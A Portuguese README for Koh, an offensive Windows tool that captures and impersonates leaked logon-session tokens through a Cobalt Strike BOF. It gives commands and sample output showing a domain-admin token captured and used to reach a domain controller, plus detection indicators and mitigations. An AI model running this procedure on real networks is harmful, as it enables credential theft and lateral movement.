
Captura tokens de sessão de logon do Windows através de vazamento de tokens para permitir reutilização de credenciais e impersonação, com integração BOF do Cobalt Strike para roubo de tokens pós-exploração.
Koh é um conjunto de ferramentas em C# e Beacon Object File (BOF) que permite a captura de material de credenciais de usuário por meio de vazamento proposital de tokens/sessões de logon.
Parte do código foi inspirada pelo projeto Internal-Monologue (sem licença) de Elad Shamir, bem como pelo KB180548. Para entender por que isso é possível e a abordagem do Koh, veja a seção Technical Background deste README.
Para uma explicação mais detalhada da motivação por trás do Koh e sua abordagem, veja o post Koh: The Token Stealer.
@harmj0y é o autor principal desta base de código. @tifkin_ ajudou com a abordagem, implementação do BOF e alguns mecanismos de token.
Koh está licenciado sob a licença BSD 3-Clause.
O "servidor" do Koh captura tokens e usa pipes nomeados para controle/comunicação. Isso pode ser encapsulado no Donut e injetado em qualquer processo de alta integridade SYSTEM (veja The Inline Shenanigans Bug).
Não planejamos liberar binários para o Koh, então você terá que compilar por conta própria :)
O Koh foi compilado contra .NET 4.7.2 e é compatível com o Visual Studio 2019 Community Edition. Basta abrir o arquivo .sln do projeto, escolher "Release" e compilar. O assembly Koh.exe e o PIC Koh.bin construído com Donut serão gerados no diretório principal. O blob Donut é compatível com x86/x64 e é construído com as seguintes opções usando a v0.9.3 do Donut em ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
A licença do Donut é BSD 3-clause.
### Uso
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - lista sessões de logon (não rede)
* **monitor** - monitora por novas/únicas sessões de logon (não rede)
* **capture** - captura um token único por SID encontrado para novas sessões de logon (não rede)
Os SIDs de grupo também podem ser fornecidos na linha de comando, fazendo com que o Koh monitore/capture apenas sessões de logon que contenham os SIDs de grupo especificados em suas informações de token negociado.
### Exemplo - Listando Sessões de Logon```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Apenas lista resultados que possuem o group SID de administradores do domínio (-512) em suas informações de token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Cliente Koh
O cliente utilizável atual é um Beacon Object File em `.\Clients\BOF\`. Carregue o script agressor `.\Clients\BOF\KohClient.cna` em seu cliente Cobalt Strike para habilitar o controle BOF do servidor Koh. O único requisito para usar tokens capturados é **SeImpersonatePrivilege**. O pipe nomeado de comunicação tem uma DACL "Everyone", mas usa uma senha compartilhada básica (super segura).
Para compilar do zero no Linux usando Mingw, veja o script `.\Clients\BOF\build.sh`. O único requisito (pelo menos no Debian) deve ser `apt-get install gcc-mingw-w64`
### Uso```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
O comando koh filter add S-1-5-21-<DOMAIN>-<RID> capturará apenas tokens que contenham o SID de grupo fornecido. Este comando pode ser executado várias vezes para adicionar SIDs adicionais para captura. Isso pode ajudar a evitar possíveis problemas de estabilidade devido a um grande número de vazamentos de tokens.
"Captura" sessões de logon negociando tokens utilizáveis para cada nova sessão.``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
Cliente BOF:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Quando uma nova sessão de logon é estabelecida em um sistema, um novo token para a sessão de logon é criado pelo LSASS usando a chamada de API NtCreateToken() e retornado pelo chamador de LsaLogonUser(). Isso aumenta o campo ReferenceCount da estrutura do kernel da sessão de logon. Quando esse ReferenceCount chega a 0, a sessão de logon é destruída. Devido às informações descritas na seção Por Que Isso É Possível, os sistemas Windows NÃO liberarão uma sessão de logon se ainda existir um handle de token para ela (e, portanto, a contagem de referência != 0).
Portanto, se conseguirmos um handle para uma sessão de logon recém-criada por meio de um token, podemos manter essa sessão de logon aberta e posteriormente personificar esse token para utilizar quaisquer credenciais em cache que ele contenha.
De acordo com esta postagem de um engenheiro da Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) foi aplicado de volta ao Windows 7/Server 2008, portanto essa abordagem deve ser eficaz para tudo, exceto sistemas Server 2003.
## Abordagem
Enumerar sessões de logon é fácil (a partir de um contexto elevado) através do uso da API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). O que é mais difícil é pegar um identificador específico de sessão de logon (LUID) e, de _alguma forma_, obter um token utilizável vinculado a essa sessão.
### Abordagens Possíveis
Pensamos em algumas maneiras de a) manter sessões de logon abertas e b) abusar disso para impersonação de token/uso de credenciais em cache.
1. A primeira abordagem foi usar **NtCreateToken()** que permite especificar um ID de sessão de logon (LUID) para criar um novo token.
* Infelizmente, você precisa de **SeCreateTokenPrivilege** que tradicionalmente só é mantido pelo LSASS, o que significa que você precisa roubar o token do LSASS, o que não é ideal.
* Uma possibilidade era adicionar **SeCreateTokenPrivilege** ao NT AUTHORITY\SYSTEM via modificação da política LSA, mas isso exigiria uma reinicialização/nova sessão de logon para expressar os novos direitos de usuário.
2. Você também pode focar apenas em sessões de logon RemoteInteractive usando **WTSQueryUserToken()** para obter tokens para novas sessões de desktop para clonar.
* Esta é a abordagem aparentemente [demonstrada por Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
* Infelizmente, isso perde sessões locais recém-criadas e sessões recebidas criadas a partir de coisas como PSEXEC.
3. Em uma nova sessão de logon, abrir um handle para cada processo alcançável e enumerar todos os handles existentes, clonando o token vinculado à nova sessão de logon.
* Isso requer abrir muitos processos/handles, o que parece muito suspeito.
4. A abordagem **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** descrita abaixo, que foi a que adotamos.
### Nossa Abordagem
A chamada SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) possui um campo **pvLogonID** que afirma:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Nota: Para usar um LUID de sessão de logon com AcquireCredentialsHandle() você precisa de SeTcbPrivilege, no entanto isso geralmente é mais fácil de obter do que SeCreateTokenPrivilege.
Usar essa chamada especificando um ID de sessão de logon/LUID parece aumentar o ReferenceCount para a estrutura da sessão de logon, evitando que ela seja liberada. No entanto, enfrentamos outro problema: dada uma sessão de logon "vazada"/mantida aberta, como obtemos um token utilizável a partir dela? WTSQueryUserToken() funciona apenas com sessões de desktop e não há uma API de modo de usuário que encontramos que permita mapear um LUID para um token utilizável.
No entanto podemos usar duas funções SSPI adicionais, InitializeSecurityContext() e AcceptSecurityContext() para atuar como cliente e servidor para nós mesmos, negociando um novo contexto de segurança que podemos então usar com QuerySecurityContextToken() para obter um token utilizável. Isso foi documentado no KB180548 (espelhado pela PKISolutions aqui) para fins de validação de credenciais. Esta é uma abordagem semelhante ao Internal-Monologue, exceto que estamos completando todo o processo de handshake, produzindo um token e mantendo-o para uso posterior.
A filtragem pode então ser feita no próprio token, via CheckTokenMembership() ou GetTokenInformation(). Por exemplo, poderíamos liberar quaisquer tokens, exceto aqueles pertencentes a administradores de domínio ou grupos específicos que queremos atingir.
Estou codificando há um bom tempo. Este é um dos bugs mais estranhos e frustrantes de rastrear que encontrei em um tempo - por favor, me ajudem com isso lol.
Quando o assembly Koh.exe é executado a partir de um contexto elevado (mas não SYSTEM), tudo funciona corretamente.
Se o assembly Koh.exe for executado através do processo fork&run do Beacon do Cobalt Strike com execute-assembly a partir de um contexto elevado (mas não SYSTEM), tudo funciona corretamente.
Se o assembly Koh.exe for executado inline (via InlineExecute-Assembly ou Inject-Assembly) para um Beacon do Cobalt Strike que está sendo executado em um contexto SYSTEM, tudo funciona corretamente.
No entanto Se o assembly Koh.exe for executado inline (via InlineExecute-Assembly ou Inject-Assembly) para um Beacon do Cobalt Strike que está sendo executado em um contexto elevado, mas não SYSTEM, a chamada para AcquireCredentialsHandle() falha com SEC_E_NO_CREDENTIALS e tudo falha ¯\_(ツ)_/¯
Tentamos (sem sucesso):
Para todos os efeitos, o contexto da thread imediatamente antes da chamada para AcquireCredentialsHandle funciona neste contexto, mas o resultado dá erro. E não temos ideia do porquê.
Se você tem uma ideia do que isso pode ser, por favor nos avise! E se quiser tentar brincar com um assembly mais simples, confira o repositório AcquireCredentialsHandle no meu GitHub para solução de problemas.
Para citar @tifkin_ "Tudo é furtivo até alguém procurar por isso." Embora a abordagem de Koh seja ligeiramente diferente das outras, ainda existem IOCs que podem ser usados para detectá-lo.
O GUID único do TypeLib para o coletor Koh em C# é 4d5350c8-7f8c-47cf-8cde-c752018af17e, conforme detalhado na regra Yara Koh.yar neste repositório. Se isso não for alterado na compilação, deve ser um indicador de altíssima fidelidade do servidor Koh.
Quando o servidor Koh inicia, ele abre um pipe nomeado chamado \\.\pipe\imposecost que permanece aberto enquanto Koh estiver em execução. A senha padrão usada para comunicação Koh é password, então enviar password list para qualquer pipe \\.\pipe\imposecost permitirá confirmar se Koh está realmente em execução. O pipe de impersonação padrão usado é \\.pipe\imposingcost.
Se Koh iniciar em um contexto elevado, mas não como SYSTEM, um handle/clone de token de winlogon é realizado para realizar uma elevação do tipo getsystem.
Tenho certeza de que nenhum invasor alterará os indicadores mencionados acima.
Provavelmente existem alguns artefatos RPC para a captura de token que esperamos investigar. Atualizaremos esta seção do README se encontrarmos quaisquer artefatos de detecção adicionais nessa linha. Hooking de algumas das APIs possivelmente incomuns usadas por Koh (LsaEnumerateLogonSessions ou as específicas AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, usando especialmente um LUID em AcquireCredentialsHandle) poderia ser explorado para eficácia, mas infelizmente, não sou um EDR.
Após publicar o post Koh: The Token Stealer, tive uma ótima troca entre @cnotin e @SteveSyfuhs sobre o que acabou sendo uma mitigação parcial para essa abordagem.
O patch KB2871997 introduziu uma configuração TokenLeakDetectDelaySecs, que dispara a "...limpeza de quaisquer credenciais de usuários que fizeram logoff...". Por padrão, na verdade, membros do "Protected Users Security Group" têm esse comportamento imposto independentemente da configuração do registro. No entanto, definir isso para um valor diferente de zero limpará TODAS as credenciais da memória quando um usuário fizer logoff. Especificamente, como Steve menciona: Se definido, iniciará um timer no evento de logoff *interativo* de uma sessão e, ao disparar, removerá qualquer coisa ainda vinculada a ela. Desativado por padrão. Usuários protegidos sempre ligados, com um padrão de 30s.
Há duas coisas importantes a notar no parágrafo acima: "evento de logoff" e "interativo". Isso pode resultar em algumas situações em que a credencial de um usuário NÃO é limpa:
runas ou runas /netonly ou algo similar, não há evento de logoff quando o processo para e a credencial/token ainda pode ser capturada.(Preciso testar outras situações de logon, como NetworkClearText.)
No entanto, se o usuário estiver no "Protected Users Security Group" ou TokenLeakDetectDelaySecs for diferente de zero, e o usuário fizer logoff ativamente de uma sessão interativa ou remota interativa (RDP), as credenciais serão limpas. Preciso programar Koh para lidar melhor com esses tipos específicos de situações.
TL;DR você realmente deveria estar usando o "Protected Users Security Group" para usuários sensíveis, e veja se definir TokenLeakDetectDelaySecs para um valor como 30 é viável no seu ambiente.